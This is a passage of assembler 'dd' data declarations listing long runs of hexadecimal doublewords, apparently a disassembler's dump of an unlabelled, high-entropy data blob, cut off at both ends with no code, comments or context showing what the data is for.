9AA3C35Fh, 0F6977BAFh dd 0D0BEACDh, 0AA25BDEh, 82D80754h, 6873C490h, 0E0A04018h dd 903BCB4Eh, 0FAC6BC89h, 88ACA0A9h, 59367A5Eh, 0E72245C5h dd 503FE157h, 0A27EAF5h, 16106F66h, 34EFB13h, 20D997CCh dd 0B6277894h, 296B2FCCh, 0BB94BE65h, 0F0DE6ACAh, 34B0DC9Ch dd 3CF94E0Ah, 0B7FBC182h, 9BE17EF5h, 0A24C234Eh, 4DCB9962h dd 0B29C4348h, 15F9A916h, 0A274C43h, 0C12EC22Ah, 0DC59751h dd 95DF650Ch, 88044276h, 68AAB845h, 764790CDh, 9A95F676h dd 0E796E816h, 0B618A3B3h, 52BABCEEh, 0A09A0ABAh, 1A64A323h dd 6A4FD1DAh, 2866A10Ch, 53578B31h, 65B2A64Eh, 8F546C2Ah dd 67D59D1Fh, 0EB03E5E8h, 0DB33554Ah, 624C2F14h, 98643815h dd 51C54B16h, 590F1FE1h, 1367956Fh, 0ACCB7B9Eh, 26604F95h dd 2D58F99Ch, 5F0ECCF8h, 0EBCC42F4h, 6E916540h, 0B352D32Fh dd 0E799564Bh, 4CE98866h, 9521848h, 0F3E29DDh, 0B07DD7A6h dd 61E6F7E0h, 0F07373DDh, 0B162A0C2h, 48FA3A4Dh, 0F983D80Ch dd 26B1E1D5h, 785E4C3Dh, 35A2BCE7h, 0A339BA88h, 853B1EE4h dd 1062B0EDh, 47490B4Ch, 9072A198h, 3BC4DBD4h, 0E69C641Eh dd 70E02815h, 0C0E88F56h, 0B0A7F774h, 4E699237h, 9B84972Dh dd 0E8A74EB6h, 42C6A724h, 0FDF35B03h, 313D591Fh, 0E92C41F2h dd 0F4FC6929h, 0DA300171h, 4A32C72h, 2B0D30F8h, 8916F084h dd 4CF9B571h, 49DAE7Bh, 0DD815E33h, 0B5917771h, 634E7822h dd 9B9CCEC2h, 48BAF3BCh, 0C927CE38h, 0C12B0FD8h, 0C8131032h dd 0E0A838E1h, 0FB03AA0h, 5DE40E79h, 60D62257h, 827EDC59h dd 4492415Eh, 47BD1F37h, 0E2A0CAB3h, 0DABBA94Dh, 47BE0CC6h dd 3EE0EAF1h, 8203DF8Dh, 6714D318h, 53D5E7A2h, 320442D9h dd 0B1CF467Ah, 855D243Ah, 0B05518A6h, 0EA0DB2C4h, 45027DAFh dd 963DEC36h, 1E212A5Ah, 0FEDC5DF7h, 17CA497Fh, 0C2E99C87h dd 8CDDE813h, 0B353248Bh, 7F9D496Ch, 98F79728h, 91790E34h dd 92A947E1h, 3885FAF8h, 0BAB7E699h, 0CEF4E775h, 1C41313Eh dd 0CE040F4Bh, 0D9A32ABh, 7899E301h, 0E6DF4641h, 8F43D226h dd 0B83543D5h, 0EF8D8B04h, 10EB06D7h, 1B2FD99Eh, 0F0BA03Dh dd 0CDE97099h, 36043D58h, 0BE5E78BFh, 0D6840F1Bh, 2D74C0B4h dd 99360655h, 0B6EFB27Ch, 0DB72664Dh, 4CFBABD3h, 981A066Bh dd 0F641C3ABh, 17A51C8Fh, 0C1EDB05h, 3F9BCA89h, 7882ED2Ch dd 0D6A5B61Dh, 0FCB85BA1h, 7ADB19DBh, 799DC62Ch, 7105CF48h dd 0A2D65540h, 0C296D4C0h, 1103CE23h, 0AA4FB90Bh, 9A04B1F4h dd 28AA88A4h, 2EDBAE34h, 31A35126h, 1025A00Eh, 234E66DFh dd 0CD675D27h, 81BD1A74h, 12048C8Fh, 7696E74Eh, 63B513DDh dd 27D32412h, 7D8A853Ah, 8F921CFBh, 8F24DB1Ah, 92EE08A5h dd 0B1702AA5h, 9D85A71Eh, 0F4C1C38Fh, 13BA2EBCh, 95E1C5C7h dd 0ED048860h, 25BD69C8h, 0AC8457F1h, 65A589E7h, 12150E69h dd 34891A6Fh, 4815BB2Dh, 4739DB03h, 3B252A5Eh, 59012ECBh dd 76B3012Fh, 3F141B8Ch, 277091ADh, 0DD965833h, 86724AE1h dd 0F3B93BFFh, 358BF11Ah, 487C61DDh, 844707CBh, 0E021443Ch dd 2AD5844Ah, 0CC2C2B2Eh, 7A42E0BBh, 0C72A972Bh, 4812C730h dd 47FACD77h, 203066C4h, 17C4F1DAh, 0FD09F9D4h, 0BFF2D14Fh dd 5495945Eh, 0C61E8F75h, 820A6F98h, 2389A326h, 0C3630374h dd 0D017D429h, 8DD00246h, 0EB660309h, 87B7C97Ah, 8E8A7754h dd 186B8CEDh, 46B09DCh, 0CD8768CCh, 0DD25ABD2h, 8B65F96Eh dd 8D4E0DAEh, 3EFAF929h, 0A20A3836h, 0E830194Bh, 6C7B8217h dd 0F7773873h, 0FFE54CFFh, 0D4E5C388h, 3F479EFCh, 0A3C7C6A0h dd 2E512027h, 0BE4A82BAh, 7D92CAC5h, 63927B99h, 5E3637Dh dd 18D0CD1Bh, 0F9E2113Eh, 0CED4CF7Bh, 3CB366DDh, 218BD4C7h dd 10EAE886h, 1B3C2C48h, 9F137395h, 0DC077A46h, 7E72DEB9h dd 80DECDBBh, 26AEABAEh, 0FE43818Dh, 8A0549F7h, 0BB31774Dh dd 0CC484609h, 0D5A89F7Fh, 1C49747Fh, 0E47BE835h, 1B5DADE1h dd 0EEA5D243h, 0F96B829Dh, 0C2ADB386h, 0F9D19032h, 0FC2DCD6Ch dd 924031B1h, 0C19C4460h, 0A7B9D4C9h, 0E6483C3Eh, 9C9C6472h dd 0F4B816ACh, 0B56B51D4h, 0B26F43FCh, 0AC2AA495h, 0C5399E97h dd 0C344A750h, 215C7D4Eh, 9E634EDFh, 0AECCBE2Bh, 3D187621h dd 6BBA91F0h, 0AB7CE632h, 4F55FF03h, 9BDE092Fh, 2E74832Bh dd 523962F7h, 58538848h, 6D1DD341h, 6915ECF7h, 1E950206h dd 6DA9180Dh, 0B2E26C68h, 38305939h, 79E0E6DFh, 0CAAF0903h dd 76565A70h, 0D6DD2E44h, 2708ADF7h, 0EB9C98A8h, 0A7B9ECC8h dd 0E6481031h, 6C9C4470h, 9CB8D6A9h, 72A86261h, 18DDC8CDh dd 4D812FF7h, 0C561CEF9h, 0C2BC3453h, 0A84EB64Eh, 6EA14008h dd 1970DE74h, 80130B95h, 0C174B246h, 34079EB2h, 8A75FC50h dd 51AECAAEh, 0D6AF0086h, 8AB8F408h, 0BE05155Eh, 0BAFE07FCh dd 5C1EBA6Dh, 0CDC876C3h, 0F328B231h, 195F6DC2h, 70D241BAh dd 0EDE04E95h, 32AF0DDBh, 3DFE8DB0h, 20A4CF6Eh, 12428469h dd 0C3AFA4EAh, 9832E8CDh, 0E64AAA35h, 141E297Fh, 7FB8F636h dd 0B7C39652h, 5E5748DCh, 0F4F5ADDBh, 4E634E3Fh, 47BBC75Dh dd 237559E4h, 1AD1C406h, 7D5951Eh, 8051958Dh, 0E936934Fh dd 1B739E03h, 0DAFBCDD8h, 8630B425h, 4F19F7D4h, 0F1901A84h dd 0F86BFC8Dh, 0FB0CCA1Ch, 0D003167Eh, 1D0BDC57h, 67A921BBh dd 196B1BB2h, 0E32FB995h, 8394A661h, 33440EC3h, 0DFE9D90h dd 55AECF2Eh, 2D12D549h, 0BE113315h, 2EBD5258h, 928ABBB6h dd 9798F51Fh, 7FB8921Bh, 0B4AFE259h, 401A236Eh, 0EFF02669h dd 0B19AB492h, 68391922h, 0A87D594Ch, 6EC35A03h, 0B6464474h dd 0AF17D3Ch, 6DBBCDFBh, 6C8CD7BBh, 3653F275h, 6821CAACh dd 64F3333Fh, 9382D1F5h, 5353FC70h, 4ECE7BA0h, 0B80B9F7Dh dd 0B78BC6C8h, 6F2BA63Ch, 76F40970h, 0C86E0676h, 4997D837h dd 0DDAD7A33h, 1F58DA13h, 0F52DCF56h, 5AE77FCBh, 0C1191565h dd 2EB9E0CCh, 0E64ABAB7h, 9011BF7Ah, 7FB8B6DFh, 0B568A341h dd 18DF48BCh, 0FB37A517h, 4E67C13Bh, 0C2B0935Dh, 23655F4Eh dd 6EF1F486h, 93EAD574h dd 81D17120h, 6E391346h, 19741EBBh, 96DEF953h, 8722CAAEh dd 0B64D832Bh, 3B25197Ch, 0B35BFC8Fh, 0E3EC30Bh, 0D3819F7Dh dd 28976CDh, 6FABAA85h, 157F6F66h, 9C5B8927h, 446F8356h dd 2A550EE3h, 0EF5418D3h, 0E58CAAAEh, 5D42814Bh, 401B43D4h dd 22F97714h, 0B446923Bh, 94600AF5h, 1BE956DBh, 0B56856B6h dd 91BBC88Ch, 0FB30A552h, 6A3D4BFBh, 0DAEE07D5h, 63E69EC7h dd 0E539F1BAh, 0CB29A53Ch, 816D19A3h, 0B7B86132h, 6F782F30h dd 91980DA5h, 8E254170h, 9E6FA30Bh, 0FB99CF5h, 0D5C8FC8Fh dd 0EE03A50Fh, 0CFE4165Dh, 89C976C9h, 4826A2C0h, 9C5F4F54h dd 9E34F9A6h, 0ECEE455Eh, 12AF0E97h, 0FBCCACBEh, 3892C96Eh dd 0FA4282CBh, 0C1191826h, 2A2D7DF4h, 0EA3ECAB1h, 9835CBF5h dd 2B30645Ch, 3C832A95h, 1CA2D315h, 88BAA957h, 0C5B5D987h dd 1CA9852Bh, 8E49C5CDh, 0E899D487h, 93AA61F4h, 88A508Dh dd 6F3B57C3h, 0BF7933BBh, 96417CDAh, 918FCAAEh, 24182E3Ah dd 1A9D1DF0h, 66422EBEh, 8D1EC79Bh, 0E9E91AF0h, 0B38276CCh dd 60ABAE03h, 54D4B97Bh, 0BC4CEC1Ch, 0DE3B8346h, 9ED7B88Dh dd 0CF54D6FBh, 4D775A21h, 0D9369B72h, 0BE1DDDE5h, 2EBD6442h dd 37993982h, 18876CF6h, 4EB91717h, 0AFE083E2h, 1BDC2EADh dd 0FB362A2Ah, 4D66507Bh, 0C2A08250h, 2615884Eh, 5C09C805h dd 31FE4A6h, 0F924124h, 6FBB14CBh, 16B0E7BBh, 0B9431DCEh dd 7B0DCAAEh, 0A930E772h, 0B299197Ch, 97383FD8h, 89E7CB2Fh dd 92DEB093h, 6497633h, 612BAA80h, 635F6F78h, 0BA30591Bh dd 906B834Eh, 82AF0EB2h, 0B93C2773h, 752DC8DDh, 92428CC9h dd 0C1191D66h, 2EB9F0C6h, 0D29B7783h, 90127243h, 3A6370Fh dd 0B5645AE8h, 16D94D7Ch, 0F677A81Eh, 4E6FDB3Bh, 82558EDCh dd 23450742h, 30EFD886h, 936A7847h, 79C63120h, 603260B9h dd 0DE791EBBh, 91B13A87h, 770ECAAEh, 0C7C7D279h, 33A4E52Bh dd 607175C9h, 0D64F033Ah, 65C9AFD6h, 8F5CFE26h, 7A31C73h dd 0B13984AFh, 0C2392ACFh, 0F2E8A303h, 6717FD23h, 4421D7ADh dd 8F1C0990h, 997F806h, 90EED190h, 0EE79DC4Fh, 2EC3848Ch dd 0C948115Fh, 103D1450h, 8F394DC4h, 0A4A3D4DBh, 0D38466F8h dd 0CEF5AAC1h, 7EE2A2DAh, 89AA8DC1h, 0FB8EAE06h, 33A6A463h dd 5B861276h, 0D02CB812h, 2DE1DF64h, 8D1383FCh, 3FC91340h dd 0EB8828E1h, 4F0C989h, 2539C435h, 5CE21B7Fh, 9247B2A0h dd 99D4CD15h, 2DDAB811h, 65D7102Ah, 0AE8B206h, 712B2A61h dd 0DDFD6007h, 4B2DA542h, 0B22F1F16h, 0D367FA3Ch, 0C3BD08CEh dd 4228E806h, 0C2E498F3h, 13288A9Fh, 9FFB3920h, 6ECC97E2h dd 0B8E64A32h, 6E08A513h, 6C5FFEAh, 48F8F8F9h, 19DA4763h dd 0A8AF265h, 52AF8F64h, 0D9C1FA9Ch, 6F8752DDh, 5DE27F64h dd 5EC88074h, 1577A3CFh, 0DF7CBC72h, 0F0D144Dh, 0A4B5DE32h dd 98CF5540h, 19FAA08Ah, 0F67194FAh, 3763EE9Fh, 0E1D88F35h dd 0C70618DBh, 407947h, 0C840C0C0h, 325E93F1h, 0B6F3D18Ah dd 0C533101h, 279A3414h, 0AC779D76h, 4769DEBAh, 8A15AD87h dd 0F32AE9A3h, 18F83083h, 38079052h, 0FCC77371h, 87A177BFh dd 3B038DE6h, 55CF4C9Ah, 85088AE7h, 832E6657h, 7D20973Fh dd 3D28DE6Ah, 9BDF6C09h, 0DE916E2Ah, 3744172Dh, 0C4F66172h dd 0C2673AAh, 5A601A8Bh, 12C7BEEFh, 0B3E38B0Eh, 96AE113Bh dd 0ED78612Ch, 49D1DBCFh, 6CB8AFD8h, 25E29DEDh, 1561A3ABh dd 0E376C26Bh, 84EB6B23h, 480EB9F5h, 0A6D70C40h, 2F11A58h dd 3D90B159h, 885E8C96h, 1F08DB8Fh, 0B2D652F7h, 625F260Bh dd 0F7C31945h, 890BA4E4h, 9B77B847h, 1F7FA40Eh, 1507BA53h dd 4DACA70Ah, 6F433750h, 0B0EF1F2Bh, 0DBAB128Ch, 0DB83D02Bh dd 4313953Ch, 7BA2BB08h, 0D9E6850Ch, 444CC387h, 0CA43A8F7h dd 0ABF731FAh, 5BB570Bh, 0AFD027A5h, 23781570h, 0F28AE4BEh dd 0E0BF5860h, 0BB173C55h, 0EB803081h, 0A87FB53Fh, 1B133A14h dd 0AD572E53h, 7F39B664h, 0F519D806h, 0AE4033BDh, 0B7BC84A9h dd 0AA6FA1FBh, 3C2F8B6Dh, 0AF740A93h, 47B10447h, 0A8D55FFFh dd 0CC145EAh, 0E7464213h, 2C19F538h, 24A656AEh, 0A57B2A33h dd 1DD3EAABh, 0E122DEDBh, 2505E1E3h, 708A6C34h, 0E8618264h dd 891577B3h, 61570D5Eh, 34D3561Dh, 6FC4919Fh, 0CD2B3762h dd 14B0AE72h, 0F970DC6h, 761004h, 0A759B026h, 0A860783Eh dd 374947D5h, 0F21AEF11h, 0FC9A618Dh, 53B3D3AEh, 1EB78D31h dd 653BFA20h, 50F99C2Ch, 0F80903Dh, 9C87FAE6h, 0B337F955h dd 0A217CF62h, 0E052E85Dh, 8CAB3DDFh, 0AA4DED55h, 0B993E57Fh dd 0D7837613h, 0D3852286h, 0F26A99B3h, 75E91D74h, 0EB5ECA5Ch dd 7B0FA02h, 0A0667194h, 67CA6BF6h, 498A6A91h, 2E5CF8E2h dd 617387BBh, 45CB458Bh, 3F34C4A9h, 6CF51447h, 0B5EA47F3h dd 8D48D508h, 18013FBCh, 0C7676B24h, 0CE2E7E3Fh, 0A16C3864h dd 40FFF9B7h, 0CC7A8187h, 2D9BABD2h, 0AED9B972h, 0C666DF08h dd 2D8B31Eh, 0A21A6A61h, 4DD817FAh, 0AA5CD8CCh, 0D47ED5E7h dd 22874B8Dh, 0C7B73D0Ch, 3F21E207h, 277EA397h, 0A30FA503h dd 0E2E4CF69h, 0F3921BBh, 1E755C7Ah, 1D9FB04Dh, 565497A7h dd 73D98942h, 7C3546C0h, 2A38D147h, 61975B86h, 49A89386h dd 0A3B57A00h, 47833D75h, 3E96FC9Dh, 81DDA3E1h, 85A343h dd 8184A0C5h, 4088CABAh, 0BF020009h, 0AE68D9D3h, 1224B65Bh dd 9319854Dh, 11EC073Fh, 0C6C52FEh, 0A8940CC8h, 9C7FF62h dd 0AD563A8h, 63A87BA1h, 0FD5460D4h, 75D01F93h, 0B18DC19Bh dd 112DFF23h, 575E597Eh, 0FA6CF19Dh, 0C175287Fh, 4DFE7C4Ch dd 0F242A08Bh, 0A4B5C795h, 31D4EF51h, 0BF9E297Bh, 0E9EA0ABBh dd 7BF46CADh, 0BC941BEAh, 0AB65CE9Ch, 4D4F4447h, 1C863E62h dd 0CA22EF17h, 9804E10Bh, 0D6C3F713h, 3E5ECC52h, 1BAE833Eh dd 7A0C5523h, 8424FE49h, 6EBC32AEh, 0DF56EF2Bh, 0BE9DC71Eh dd 3DFF2CDAh, 0B3EEC399h, 67506D3Dh, 304B0D0h, 59E5B6BAh dd 0B22C1C06h, 6D05E663h, 2664C468h, 6D71A3B7h, 0B8902215h dd 77ED7873h, 9C9ADF19h, 0D4D334A8h, 59CDE869h, 0B91CECB4h dd 1793638Ch, 122A928Ch, 0EE824635h, 89786C2Eh, 2177805h dd 75AAE834h, 1822AA49h, 0B1AFD87h, 36CFD5A7h, 0F4D52600h dd 0B88B0C78h, 16CC79B1h, 0A1637Ch, 0BF658ACFh, 1BD549Eh dd 0D5CF163h, 266D8958h, 7BD2B571h, 5E9151C6h, 0DC542103h dd 0B8CE723Fh, 490F22F4h, 34C9CFDAh, 0D8801F24h, 983763FCh dd 0E41ED652h, 7BC978DEh, 704A2C77h, 76B6BB5Fh, 91B83775h dd 9CB0B299h, 892794C2h, 0EBE8B6FAh, 2C96254Ch, 8A3DB382h dd 0CC6EB88Dh, 5728A898h, 7E704B3Bh, 748D6E76h, 6C5083BFh dd 9D2CD03Eh, 48B3127Ah, 0DBD2A2F3h, 0FA06C955h, 1F36D715h dd 678F611Dh, 0B654635Fh, 0D91E68ABh, 0D2FD900Bh, 462B4F21h dd 0B7F94BD2h, 63705045h, 5D975EBh, 0A4BAAE2h, 63A037C2h dd 0BEC70455h, 0B7C6365Fh, 29CA9D06h, 0B80FEA89h, 8D78B3B2h dd 84ECEF4Ah, 81125C29h, 8879FDE1h, 0BAD6C28Bh, 245E1371h dd 6BE20B1Eh, 5F77F86Dh, 5E2B4956h, 95112FC5h, 31600C73h dd 55DAA1B8h, 0EA4A1834h, 0F23AE456h, 9D0C6658h, 0BBDA562Dh dd 8472D9E5h, 78F1DA9Ah, 0B3A46A8h, 0B549DC6Dh, 9CCCFE25h dd 3A409925h, 7515F170h, 706556C7h, 30ACCCDFh, 8BB9EF9Bh dd 9FE3CCF2h, 0AC52764Dh dd 9CEFCDA4h, 3BBCA5Dh, 0B7C8ABD0h, 0D6A798A3h, 0E275F541h dd 6D773962h, 310A2DF9h, 0A0E93F46h, 0A5834B4Fh, 4EA73DCEh dd 0B4618684h, 21BB6F0Bh, 41E1391h, 4FAC67A5h, 0AD253A34h dd 0E1FC3C97h, 80CE3C5Fh, 75E9E4C4h, 16BBA7DAh, 13F1D058h dd 905B27FFh, 806622F3h, 6ED43E2Dh, 746D80D2h, 566A91BFh dd 3F9CA42h, 0B13A1AFDh, 790B48B2h, 94A2C4D9h, 0DE1F2FD2h dd 310C1C5Ah, 0EF419DACh, 670D9EF6h, 4CF8BBC4h, 0F0EC9AA7h dd 65201F05h, 8CEA29CFh, 0C08ECC42h, 609A15CCh, 0F3F0DB8Fh dd 4AE262FBh, 0EAEF6BE2h, 6741DCD7h, 0CE9197C0h, 52FB8C97h dd 0C639EC7Fh, 85511DF2h, 0A11CE00h, 0DD87FB2Fh, 0AF215BA5h dd 0A43907E9h, 58E1F717h, 0A15E54D4h, 58D31FB6h, 0D2FC239Eh dd 5CD989DEh, 71986D2Ah, 3DB714C8h, 0D96FA74Dh, 0DBD0CACAh dd 0E6593590h, 0A3127AFCh, 9769B74h, 87508532h, 1667EEBFh dd 0D6A46DF7h, 0EEEFCA4Fh, 55A06D38h, 6FAE94D4h, 0CB774A77h dd 1CD30E76h, 1EFE1F79h, 0FC0308C6h, 6AA51234h, 30EDF68h dd 23482915h, 38DED7EAh, 0F08F9C6Eh, 0BFFCEFABh, 8E72956Eh dd 8481F36Fh, 0BAC7554Bh, 0EC57BB00h, 0C5EEC2ABh, 0E90E493Fh dd 0CF6EC64Dh, 4F65E9Ch, 0A139F34Fh, 0ED140867h, 0DBF372B2h dd 62483BECh, 7950264h, 0C9E7C8EFh, 87250717h, 0CCCF968h dd 6E733848h, 0D42F58FEh, 0DA7333F3h, 0F120B590h, 404BEC69h dd 272B98D4h, 0EAC7FF5Ch, 0DB15A2ECh, 0BB73634Ah, 0A19E2716h dd 968AA117h, 6C9FAC06h, 0B7B6D144h, 9F5C3FB8h, 6F7D2993h dd 652E1102h, 1F915D38h, 82DDB5D8h, 4DBADDF2h, 0A5442D57h dd 0DA5B27CBh, 0B0842347h, 835E0620h, 1CB7B795h, 0A6581894h dd 0B955F55Ch, 96AC595Dh, 0CD102EBAh, 79BB683Ch, 88A3B288h dd 0E5ACCFC3h, 0E58D3731h, 2EEFE15Eh, 0B673AFE9h, 0E195A590h dd 4769A507h, 20846D3Ah, 0F4F8C36h, 0E36EF600h, 124AD406h dd 0E5C21770h, 93902D43h, 6C76BC38h, 4D61FCCEh, 0F15BB6Ah dd 9E577AC8h, 24E41691h, 6E3F5271h, 0F8BF3E59h, 0EF86F5EEh dd 0B0B39ABh, 22D7BAA7h, 2F2A8D6Fh, 0A95661C6h, 6EC79B05h dd 337D0D0Ah, 978DB726h, 6E855A63h, 0D001178Bh, 3D80117Eh dd 21C4B84Ah, 14921E9Fh, 0F86A6F94h, 0FB09647Fh, 55202CE7h dd 61DA4887h, 0DBDC852Fh, 937DCB55h, 0FDDD1045h, 86BD47D1h dd 269DBDDDh, 5E431AEEh, 0C81E1B9Bh, 9621861Dh, 0D5034B34h dd 0BC0C710Fh, 0E6312669h, 28536FBEh, 1919B27Ch, 945FF99Ch dd 0F5A066ACh, 0C8C84848h, 0CFBBDBA9h, 0F3FE420Bh, 0F1832661h dd 34C5C2B6h, 0E7148279h, 7CE83D52h, 0A0F599F7h, 99579F60h dd 38CCD3F2h, 4B5E73Ah, 0E01A1B18h, 0C43A2AD0h, 4D773639h dd 0CEAAEBBCh, 0CBD45F94h, 0EC8FEE25h, 6698E04Bh, 19B40279h dd 41B6DE6Ah, 9D31C077h, 383A25C0h, 433195BDh, 21C2794Bh dd 0C26551CAh, 3595EE6Bh, 5A23B3B1h, 600F53AEh, 63D70A65h dd 0DD61997Ah, 0E3863BEEh, 129449ECh, 0E21965A7h, 73312C2h dd 219A43Ah, 0C6D8F61Dh, 2FF6F039h, 43283A61h, 7EE1AED9h dd 0A604BFB9h, 6FC3C65Fh, 7110C103h, 0E228E83Ah, 0D5F10F53h dd 0D1AF5C32h, 0F0E0A53Ah, 63164062h, 0C038D353h, 8FF60E5Bh dd 41D160D9h, 0C81E5005h, 91FC38E2h, 0B4C4C76Fh, 0F544D05Bh dd 0B562A787h, 2FC6CD99h, 9D658AF0h, 0E0BF19B3h, 0C6786CE1h dd 0E4678338h, 9487B6Ch, 28ED0FFCh, 40388095h, 2569B1D7h dd 8C245DDCh, 7D4A2A02h, 0B6DFBEA4h, 39BDAB45h, 0E4C68EA1h dd 3D3A24D4h, 6D469EEh, 46CF5680h, 8C46BD6Fh, 60F24969h dd 4A040D8Ah, 53EDD155h, 4DA3E078h, 0E621442Bh, 0BBB704D5h dd 0CAAB2132h, 41EE5B6Dh, 5A19D50Ch, 55348234h, 0EBF505C4h dd 286F20BCh, 133E1AB4h, 4E55FF0Ah, 0E687F820h, 86799CDEh dd 0ED0D1A36h, 2504AE12h, 334B3A83h, 5AA43E47h, 0D22D4F5Ch dd 969D97BBh, 5EE5B094h, 6C5506B4h, 2D068E51h, 2B5EA5B0h dd 0C66376ADh, 3710847Eh, 7116B13h, 0C7FFFBE5h, 20E56C37h dd 58821759h, 898A083Bh, 75A846DDh, 71B9A831h, 9D00A7B9h dd 137AEA6Ch, 82926D78h, 0AE265CE9h, 6349C8EDh, 1F591250h dd 8669F3B0h, 0F7DA365Bh, 0D2EC92AAh, 5E581317h, 277E2AD9h dd 0DC5A1CDAh, 3BD0C6EDh, 34C65Fh, 7795E5BBh, 0C6B30FFBh dd 962580C7h, 8022F286h, 0BDD2A90Bh, 1E3B3A45h, 0E55A0005h dd 895E5F26h, 900F9F12h, 0BB8DD2B1h, 0A1DE250h, 4F86A883h dd 0AB6192Bh, 0E8C2C5CFh, 0E2C7BDF5h, 0E7B9D44Fh, 6A1B8361h dd 5206B6C0h, 46D29D4Ah, 59CBB7F4h, 15DE0834h, 87E32422h dd 0F6A9264Ah, 2C3F9004h, 6B8AC430h, 2068220Dh, 6F9E9AAEh dd 8C9C9036h, 23464A66h, 8559A58Ch, 3CBF7FF3h, 6D19ED8Bh dd 0E8451FE5h, 33155AADh, 0C78E5343h, 0B369AA09h, 7FD3EB07h dd 0E4FB723Ah, 0A39CC208h, 0A09360DFh, 9018AC2Bh, 0BB638B90h dd 0A129378Ah, 0FF3E642Bh, 6096AB76h, 0D70FA6FBh, 69A4B7FFh dd 4F0057C3h, 74A36336h, 20039C87h, 56E1EC5h, 0B1A51CFFh dd 2C21ACFCh, 377F2156h, 5601C901h, 81647D41h, 3ACF8F10h dd 0B8B40D51h, 0CDD228F7h, 94E75DF3h, 850B5066h, 237C4331h dd 7FB721B6h, 0ADE49B6Ah, 73BF46B2h, 7DE9917Ch, 6BF7C8Ah dd 9E23B59Fh, 9436F258h, 0CE5CA635h, 0D1147EEBh, 0DCC9E595h dd 0EDB76A03h, 0C2F0943h, 0DAF45BB2h, 0CBC7AA0Fh, 98E70DDCh dd 8E697BE4h, 9FAF2B4Bh, 4DA5DEC7h, 0FEB15F31h, 0EC74C391h dd 0A539100Eh, 51F1CCE6h, 0A4798447h, 30569BAEh, 0F9A92DFAh dd 0E124316Dh, 0C3432BC1h, 2626DBB1h, 0DC0194E2h, 0B9B65F65h dd 8B059D32h, 0D7F8F33Dh, 45DF1714h, 0F4CA227h, 0A1A33427h dd 0D0145E75h, 0E70B8178h, 997BD49h, 320BAAA6h, 0DB574CD4h dd 5A04FC49h, 0D8C02F89h, 4C2D93D8h, 63C0E10h, 94840F05h dd 82CA2EFAh, 0F86289ABh, 442CBACh, 0E28021C3h, 0EF6C4B16h dd 0C85FE2Eh, 175D8DD7h, 7082FB0Fh, 878EA6AFh, 0AC913A2Ah dd 0BF60262Eh, 1C635289h, 3097EFA7h, 0FD9636F1h, 0CD983D4Ch dd 1CD531A3h, 0BDE1756Bh, 45BB792Bh, 9DC85496h, 1E5125C9h dd 7502C43h, 306BBD3Fh, 5ADB0A2Ah, 0B58C5D27h, 7C32AD8Bh dd 187D7954h, 7E718548h, 0C949FCD1h, 0DC7C7721h, 19E9D198h dd 0D0FBA5Bh, 7EB39712h, 0D0127637h, 6A41FCBBh, 2FC99FE4h dd 0B01F09EEh, 0AB1AE904h, 0C6651C0Fh, 0D2F28AA9h, 41E40298h dd 0C71EC976h, 26E99F2Bh, 695855AEh, 0F8335589h, 0B6356014h dd 0D56DF072h, 0CF7E0F9Bh, 0A26908D5h, 0BB4F010Bh, 89925F23h dd 26BF3FC4h, 0F8D5822Fh, 7586DCCEh, 0E09C0BE4h, 0F474FFB7h dd 43605250h, 1F7A3AC3h, 0BA081A4h, 0FBFC7459h, 3AAF272Fh dd 3E020199h, 9C5616F7h, 0B844DFE3h, 9ED1EE84h, 10FB78B6h dd 8214ACABh, 8D0833E2h, 25F046DDh, 95754E1Eh, 0B736F695h dd 14978D9Dh, 7115B2EBh, 0AF4B5698h, 0D12B5474h, 0A1F38A4Ah dd 0E3E741EBh, 0C7437674h, 7B00A93h, 4EFA1E57h, 35A9E190h dd 0F3E0D659h, 3FD45984h, 0EC737B19h, 54C6E601h, 5CBB2737h dd 10E7675Ah, 12E24DB1h, 3795EC32h, 0C8B84777h, 0F8686004h dd 30F5C8E7h, 4F001497h, 58F998E5h, 3717E7EDh, 55CD5225h dd 0C98E2BACh, 0B795A03Bh, 0A35137C8h, 0D9EEBE4Eh, 87F2B811h dd 0A044A269h, 714E89EBh, 0A44B4451h, 23571A3Fh, 6F48729Ch dd 0A309E4E1h, 49AC8C91h dd 0EEE7AD0Eh, 0ECA4BD0Bh, 7ECC653Eh, 0C7AD3EB9h, 690021AFh dd 7362C68Dh, 8B8A5DAh, 0B2141ED4h, 0BD2C25A8h, 63C81462h dd 1BB6E82Ah, 0CABCDC27h, 4EA6D1A0h, 1C372E92h, 5B26B7A0h dd 81983D1Dh, 0B8DE4361h, 3CADBF1Eh, 6755E932h, 0F89F852Eh dd 3502B59Dh, 0A6A9A7E1h, 5890DCE2h, 4B93E5CFh, 7D9A6689h dd 0A132F3D1h, 0A93E7331h, 0ED577237h, 89348D1Ah, 645B6518h dd 0EB59AA0Fh, 7101A7D7h, 0B1578DC1h, 0CDA361DDh, 0D03C82DDh dd 0FF4552B1h, 0F6352218h, 0E92D71F9h, 0F352A5AEh, 5047C689h dd 2BCCA4A0h, 0CD72976Bh, 34F19668h, 0D3D40190h, 58DD69A0h dd 0CEE5EF2Eh, 0EE888735h, 7E7A8621h, 63002BCDh, 899398ECh dd 6F8072F7h, 59572024h, 627F7ADDh, 0AAE73AB2h, 21C6798Ch dd 42D8204Ch, 11FC56BAh, 3E09213Fh, 799AE0C3h, 0A25195BBh dd 3DFE354Ch, 0CD64760h, 185B808h, 8A7A07FBh, 7CD334Bh dd 0FC43654h, 0E86B8A10h, 0B958F2D1h, 5C5DE0BAh, 3BC12532h dd 44A2E300h, 4B601743h, 99590E89h, 1FDB397Bh, 7CC1CC44h dd 278482D6h, 68830AD0h, 84041364h, 50022504h, 0E5E3D51h dd 47B3FFB5h, 0E240F7Bh, 7BD91A9Dh, 0A2464A96h, 42B8CAE0h dd 5D520747h, 0D1EBC196h, 0AA406770h, 5D1A6F2h, 0EDBBA254h dd 0C182E9ABh, 405D120Ch, 7AA23EB5h, 7A3C83A8h, 1C5F1E38h dd 0BD5D06CBh, 8E814996h, 635B333Ah, 0F8BDB359h, 5D075B90h dd 0B2825B3Eh, 0F435CAF3h, 0EACA366Fh, 1D78AB3Bh, 0AC138A5Dh dd 633C66A1h, 0E280B6D8h, 901582F5h, 20EA0B26h, 24AAE4BBh dd 987F5FB9h, 0EA4751BCh, 1565E17Dh, 9296BCF9h, 0B5DCF2D2h dd 52474944h, 25172B21h, 5F00AB2Eh, 9B681730h, 93543F54h dd 20524DDh, 6679E68Eh, 0AFEF49F9h, 0E34F4F43h, 374A5426h dd 65AE3606h, 0E07AB735h, 6A177C78h, 445173F6h, 41AA2AF8h dd 7B43D8E5h, 5CDB1C7Eh, 0DEAEDF7Fh, 0AA37D712h, 0C57A3942h dd 